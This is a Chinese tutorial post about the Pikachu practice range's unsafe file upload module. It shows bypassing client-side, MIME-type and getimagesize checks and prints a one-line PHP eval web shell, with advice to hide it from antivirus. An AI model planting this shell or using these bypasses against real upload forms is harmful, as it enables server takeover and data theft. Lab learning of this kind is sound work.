零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

news2025/6/12 7:45:00

本期内容并不是很难,相信大家会学的很愉快,当然对于有后端基础的朋友来说,本期内容更加容易了解,当然没有基础的也别担心,本期内容会详细解释有关内容

本期用到的软件:yakit(因为经过之前好多期的学习,我相信大家已经足够了解yakit,哪怕不熟悉,至少也知道各个模块有什么用)

我们先来翻译一下这个单词组合是什么意思(不安全的文件上传),和之前我们学到的RCE,File inclusion有一点相似,但是希望大家仔细观察,不要搞混

介绍

不安全的文件上传漏洞概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击者可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。

个人评价:会用到非常多的"米奇妙妙工具",只要有一定的开发基础理解起来会非常容易(没有的也别担心,会一一解释的,只是领悟的时间问题而已)

适用场景:有文件上传功能的网站都可以

实际反馈:用起来很简单,但是很多大厂会有过滤,而且没有长时间的后端了解,盲目进行"米奇妙妙工具"的开发会非常艰难,甚至耗费大量时间,结果没用(在此也强调,如果你幸运的拥有大佬们发出来的"米奇妙妙工具",请你使用时关掉杀软或者断网进行测试,不要乱传,不仅可能会锒铛入狱,还会让大佬们分享出来的东西被彻底分析透,导致工具失效

一,client check

原理

它一般指检查客户端输入的安全性。当用户上传文件时,系统会验证文件的扩展名是否符合要求,防止恶意文件被上传。比如,检查上传的文件是否是图片(如.jpg、.png)而不是可执行文件或其他潜在危险的文件。

就好像一个高中的保安一样,通过识别学生的胸牌和校服来决定他是否可以进入校园

但是同样的,找个看起来很年轻的人,让他穿校服,然后伪造一个胸牌,他也可以进入

实践

有了前几期的了解,我们会知道,前端的很多防护形同虚设,有了自由上传的环境后,就到了我们大展拳脚的时候

因此,我就有了第一个最简单的方法进行攻击

也就是禁止JavaScript

这个在之前的暴力破解模块中就有说到,通过禁止JavaScript可以使他简单的前端防护失效

不过在此之前,我们需要先构建一个木马(这个木马是针对服务器的)(为了防止大家迷惑,所以关于木马的知识我会之后单独出一期的,大家先了解本期的理论内容)


<?php  @eval($_POST['shell']); ?>

当然了,知己知彼,方能百战百胜,我们先来分析一下这是什么东西

该代码的主要功能是执行客户端通过 POST 请求发送的 'shell' 参数中的 PHP 代码。黑客可以将恶意 PHP 代码放入 'shell' 参数,服务器端接收到后会直接执行,从而实现远程代码执行,对服务器进行控制、窃取数据、发起攻击等恶意操作。

<?php 和 ?>这是PHP代码的开始和结束标签,用于包裹PHP脚本代码。
@这是PHP的错误抑制运算符,它会关闭错误报告,即使代码执行失败,也不会输出任何错误信息。这是一种隐藏恶意行为手段,使得代码执行中的错误不会被发现。
eval()这是一个PHP函数,它会将传入的字符串作为PHP代码来执行。它是这段代码的核心危险所在。
任何通过$_POST['shell']传递的字符串都会被当作PHP代码执行。
$_POST['shell']这是PHP的超全局变量,用于接收通过POST方法发送的数据。
shell是一个键名,攻击者可以通过构造特定的POST请求,将恶意代码传递到这个键中。

不了解的朋友可能看不懂,但是别担心,努力学习,都会明白的,毕竟我可以把理论说的通俗一点,但是专用性的内容真的没办法

我们来试一下,木马后缀改为php(切记放入杀毒软件的白名单里,不然刚做出来就被杀了)

可以看到,成功了

同样在打开F12后我们可以看到他的前端防护暴露出来了


onchange="checkFileExt(this.value)"

删掉就没问题了

上传之后我们可以通过各类连接方面的"米奇妙妙工具"来进行更大的破坏,我之后会同关于木马的讲解一起发出来的,因为我们首先要了解的是理论基础

至此,client check完成

二,MIME type

原理

首先,翻译一下什么是MIME 和MIME type

MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展)类型,最初设计用于在电子邮件传输中标识内容格式,现广泛应用于互联网,向服务器和客户端提供文件信息,帮助它们知道如何处理文件。

组成结构 :由两部分组成,即类型(Type)和子类型(Subtype)。类型表示文件的通用类别,如文本、图像、音频、视频等;子类型则进一步细化,具体说明文件的格式,如纯文本、HTML 文档、JPEG 图像等。

作用机制 :当客户端向服务器请求文件时,服务器会根据文件的 MIME type 来确定如何处理和传输文件。客户端接收到文件和对应的 MIME type 后,根据已知的类型和子类型,判断如何显示或处理文件,比如用特定的程序打开、在浏览器中直接渲染等。

就好像超市进行商品分区一样,哪怕你是从大山里刚被现代人类带回来,只要认识中文后,进入商城后看分区牌子就知道这是干什么的,大概就是类似于日常生活中"标签"这个概念

实践

直接发送我们可以看到不行,但是我们现在知道MIME的概念了

我们还是用熟悉的yakit抓个包

我们直接换格式(也就是我们原理中谈到的MIME这个东西的使用)

换成他要的格式(这里以image/jpg格式为例,别的格式可以自己尝试比如image/jpeg)

发送,成功

三,getimagesize

原理

同样,我们先来分析,解释这是什么意思

getimagesize() 是一个 PHP 函数,主要用于获取图像文件的尺寸信息(例如宽度和高度)以及其他相关信息,比如图像的类型(格式)和 MIME 类型。如果函数感知不到是图像类型就没用

假设你有一堆照片,每张照片的背面都贴着一个小标签(MIME),上面写着这张照片的尺寸、照片的样式(比如纸质打印的那种和正式的红底,蓝底,白底照片)和其他一些信息(比如拍摄日期)

检查照片:想象你正拿着一张照片,首先确认这张照片是真的,而不是一张废纸。

查看标签:你在照片背面找到那个标签,上面有它的尺寸信息,拍摄时间

读取信息:你仔细看标签上的内容,比如是2025年拍摄的,它是一张彩色的全家福。getimagesize() 函数做的也是类似的事情,它读取图像文件中的标签信息。

整理信息:你把这张照片的尺寸、格式等信息记录下来,方便之后使用。getimagesize() 也会把这些信息整理成一个数组,让你可以方便地使用这些数据。

实践

其实很简单,既然他的函数要识别的到,那我们就给他图片,但是后面加上东西(类似于上面说过的扮演成高中生的社会人士,因为穿了校服,保安就不容易发现)

由此我们就有了攻击思路

也就是把图片和木马内容整合在一起

我们先用记事本打开一个图片(记住要符合他的传送内容的要求)

在这里也解释一下为什么图片用记事本打开会是乱码

为了更好理解我们就用简单的方式来说,如果有朋友想要详细了解,可以自己查找,在此不过多赘述:图片用记事本打开就好像用勺子吃牛排,牛排做的再好,用勺子你也吃不好

然后把木马内容放在结尾(放在结尾是因为函数通常是通过文件特征来识别是什么格式的,放在末尾更安全)

当然用yakit也是可以的,也是将木马内容放在末尾就好,再次便不再赘述

至于之后如何启用连接的话,也会同之后的木马内容一并发出来

至此Unsafe Fileupload模块完成

通过本期内容,我们了解了一下关于木马的知识点,也学会了如何制造一个简单的木马,虽然简单,但是需要大家进行自主尝试,比如这次是要图片格式的,那以后用其他文件格式的应该怎么搞,需要举一反三

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2407415.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中&#xff0c;新增了一个本地验证码接口 /code&#xff0c;使用函数式路由&#xff08;RouterFunction&#xff09;和 Hutool 的 Circle…

OPENCV形态学基础之二腐蚀

一.腐蚀的原理 (图1) 数学表达式&#xff1a;dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一&#xff0c;腐蚀跟膨胀属于反向操作&#xff0c;膨胀是把图像图像变大&#xff0c;而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…

C# 求圆面积的程序(Program to find area of a circle)

给定半径r&#xff0c;求圆的面积。圆的面积应精确到小数点后5位。 例子&#xff1a; 输入&#xff1a;r 5 输出&#xff1a;78.53982 解释&#xff1a;由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982&#xff0c;因为我们只保留小数点后 5 位数字。 输…

学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”

2025年#高考 将在近日拉开帷幕&#xff0c;#AI 监考一度冲上热搜。当AI深度融入高考&#xff0c;#时间同步 不再是辅助功能&#xff0c;而是决定AI监考系统成败的“生命线”。 AI亮相2025高考&#xff0c;40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕&#xff0c;江西、…

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…

【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习

禁止商业或二改转载&#xff0c;仅供自学使用&#xff0c;侵权必究&#xff0c;如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…

Mobile ALOHA全身模仿学习

一、题目 Mobile ALOHA&#xff1a;通过低成本全身远程操作学习双手移动操作 传统模仿学习&#xff08;Imitation Learning&#xff09;缺点&#xff1a;聚焦与桌面操作&#xff0c;缺乏通用任务所需的移动性和灵活性 本论文优点&#xff1a;&#xff08;1&#xff09;在ALOHA…

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题

在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件&#xff0c;这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下&#xff0c;实现高效测试与快速迭代&#xff1f;这一命题正考验着…

ABAP设计模式之---“简单设计原则(Simple Design)”

“Simple Design”&#xff08;简单设计&#xff09;是软件开发中的一个重要理念&#xff0c;倡导以最简单的方式实现软件功能&#xff0c;以确保代码清晰易懂、易维护&#xff0c;并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计&#xff0c;遵循“让事情保…

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列&#xff0c;以便知晓哪些列包含有价值的数据&#xff0c;…

USB Over IP专用硬件的5个特点

USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中&#xff0c;从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备&#xff08;如专用硬件设备&#xff09;&#xff0c;从而消除了直接物理连接的需要。USB over IP的…

算法笔记2

1.字符串拼接最好用StringBuilder&#xff0c;不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)

上一章用到了V2 的概念&#xff0c;其实 Fiori当中还有 V4&#xff0c;咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务)&#xff0c;代理中间件&#xff08;ui5-middleware-simpleproxy&#xff09;-CSDN博客…

AI,如何重构理解、匹配与决策?

AI 时代&#xff0c;我们如何理解消费&#xff1f; 作者&#xff5c;王彬 封面&#xff5c;Unplash 人们通过信息理解世界。 曾几何时&#xff0c;PC 与移动互联网重塑了人们的购物路径&#xff1a;信息变得唾手可得&#xff0c;商品决策变得高度依赖内容。 但 AI 时代的来…

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)

在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马&#xff08;服务器方面的&#xff09;的原理&#xff0c;连接&#xff0c;以及各种木马及连接工具的分享 文件木马&#xff1a;https://w…

深度学习习题2

1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…